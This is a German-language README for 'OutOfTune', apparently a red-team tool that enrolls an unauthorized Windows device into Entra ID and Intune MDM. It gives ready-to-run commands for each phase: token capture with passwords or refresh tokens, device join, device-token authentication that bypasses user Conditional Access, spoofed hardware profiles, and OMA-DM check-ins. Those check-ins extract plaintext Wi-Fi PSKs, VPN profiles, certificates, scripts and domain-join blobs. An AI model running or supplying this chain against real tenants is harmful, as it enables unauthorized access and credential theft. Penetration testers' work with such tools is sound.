
Rogue-Device-Enrollment-Tool für Entra ID und Intune MDM. Automatisiert den Gerätebeitritt, Token-Erfassung, MDM-Registrierung und OMA-DM-Check-in, um Richtlinien, WLAN-Anmeldedaten, Skripte und Apps zu extrahieren, während Conditional Access umgangen wird.
Inspiriert vom ursprünglichen Pytune, registriert OutOfTune ein nicht autorisiertes Gerät in Entra ID, meldet es bei Intune MDM an und prüft den resultierenden Compliance-Status.
Unterstützt nur Windows-Geräte, da dies mein Hauptziel war. Möglicherweise werden in Zukunft weitere hinzugefügt.
Begleitende Blogbeiträge:
pip install -r requirements.txt
Die Kette läuft in Phasen ab, die jeweils auf dem in chain_state.json gespeicherten Zustand aufbauen.
drs-token -> device-join -> device-token -> mdm-enroll -> mdm-checkin
ROPC (Anmeldedaten bekannt):
python OutOfTune.py drs-token -u [email protected] -p Passwort1!
Vorab erhaltenes Token:
python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>
python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01
Erzeugt <GERÄTENAME>.pfx – das Gerätezertifikat. Passwort ist password.
python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx
Authentifiziert sich bei AAD als Geräteobjekt (nicht als Benutzer). Umgeht benutzerbezogene CA-Richtlinien.
python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
Führt SOAP-Discovery gegen den MDM-Endpunkt durch und sendet dann eine WS-Trust PKCS10-Registrierungsanfrage. Erzeugt <GERÄTENAME>_mdm.pfx.
Verwenden Sie --profile, um die an Intune gesendeten Hardware-/OS-Attribute des Geräts zu fälschen (siehe Geräteprofile).
python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw
Führt die OMA-DM SyncML-Schleife gegen r.manage.microsoft.com aus. Intune überträgt Konfigurationsprofile, App-Zuweisungen und alle anderen Richtlinien, die auf das Gerät abzielen. Nach Abschluss der Schleife werden die Erkenntnisse automatisch extrahiert und angezeigt.
Wenn -r angegeben wird, wird das Refresh-Token gegen ein manage.microsoft.com-Zugriffstoken eingetauscht und als Authorization: Bearer in jeder SyncML-Anfrage gesendet. Intune liest den UPN aus diesem Token und legt ihn als primären Benutzer des Geräts fest, sodass benutzerbezogene Compliance-Richtlinien gebunden werden. Sie müssen dies nur einmal mit -r ausführen, damit ein Benutzer zugewiesen wird; alle nachfolgenden Checkins können ohne Refresh-Token durchgeführt werden.
Ohne -r hat das Gerät keinen primären Benutzer.
Nach diesem ersten Checkin, wenn Sie sich für einen längeren Zeitraum (normalerweise 5–7 Tage) nicht erneut anmelden, könnte das Gerät aufgrund der Standardrichtlinie für „Ist aktiv“ nicht mehr konform sein. Abhängig von der Konfiguration von Intune kann das Gerät in eine Schonfrist eintreten, bevor es als nicht konform markiert wird. In diesem Fall führen Sie mdm-checkin erneut aus. Wenn Sie zuvor ein Refresh-Token verwendet haben, um einen primären Benutzer zuzuweisen, muss dieses nicht erneut übermittelt werden, da der primäre Benutzer jetzt im Intune-Backend gespeichert ist.
| Flag | Beschreibung |
|---|---|
--cert DATEI | MDM-PFX-Datei – Gerätename wird automatisch aus dem Dateinamen abgeleitet |
-r RT | Benutzer-Refresh-Token – legt den primären Benutzer fest (nur einmal erforderlich) |
-O VERZ | Extraktierte Artefakte in VERZ speichern (wifi/, vpn/, scripts/, certs/, add_values.json, policy_values.json) |
--save-syncml VERZ | Rohe SyncML-XML pro Runde in VERZ zur Offline-Wiederverarbeitung speichern |
-o DATEI | Vollständige Konsolenausgabe in DATEI schreiben |
| Kategorie | Gespeichert in | Hinweise |
|---|---|---|
| WLAN-Profile | wifi/<SSID>.xml + _psk.txt | Klartext-PSK extrahiert, falls vorhanden |
| VPN-Profile | vpn/<name>.xml | Vollständiges ProfileXML |
| Zertifikat-Payloads | certs/cert_N.b64 | Verschlüsselte PFX-Blobs (roh, noch nicht entschlüsselt) |
| SCEP-Herausforderungen | angezeigt | CA-Modellname, Challenge-URL |
| Skripte | scripts/<name>.ps1 | PowerShell-Skripte, die über OMA-DM übertragen wurden |
| MSI-Download-URLs | angezeigt | Direkte CDN-Links für LOB-Apps |
| ODJ-Blob | odj_blob.b64 + odj_strings.txt | Offline Domain Join – lesbare Zeichenketten extrahiert |
| Add-Werte | add_values.json | Alle anderen Add-Befehle (Root-CA-Zertifikate, MDE-Onboarding, Richtlinienkonfiguration) |
| Replace-Werte | policy_values.json | Von Intune gesetzte Policy-CSP-Werte |
Rohe XML-Runden, die mit --save-syncml gespeichert wurden, ohne Live-Checkin erneut parsen.
python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2
python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Passwort1!
Erstellt ein PRT aus dem Gerätezertifikat, tauscht es gegen ein IWService-Token ein und fragt IWService/Devices nach dem Compliance-Status des Geräts und etwaigen nicht konformen Regeln ab.
Verwenden Sie -r mit einem MFA-Sitzungs-Refresh-Token, wenn der Mandant CA für die Registrierungsressource MFA erfordert.
Ruft Win32-Apps und PowerShell-Skripte ab, die dem Gerät über die IME SideCarGateway zugewiesen sind. Verwendet nur das MDM-Clientzertifikat – kein Benutzertoken erforderlich.
python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
scripts/<PolicyId>.ps1 gespeichertapps/<AppName>/ extrahiertRuft proaktive Remediation-Skripte (Erkennungs- und Behebungspaare) ab, die dem Gerät zugewiesen sind.
python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx
Jede Richtlinie wird in remediations/<PolicyId>/ gespeichert, mit:
detection.ps1 – das Erkennungsskriptremediation.ps1 – das Behebungsskriptparams.json – Richtlinien-ID und etwaige SkriptparameterWenn das Entfernen des Geräts aus Intune fehlschlägt, löschen Sie es aus Entra. Es fällt dann in eine Schonfrist in Intune und wird zu einem späteren Zeitpunkt automatisch wieder verwaltet.
Gerät aus Intune entfernen:
python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>
Geräteobjekt aus Entra ID entfernen:
python OutOfTune.py entra-delete
python OutOfTune.py status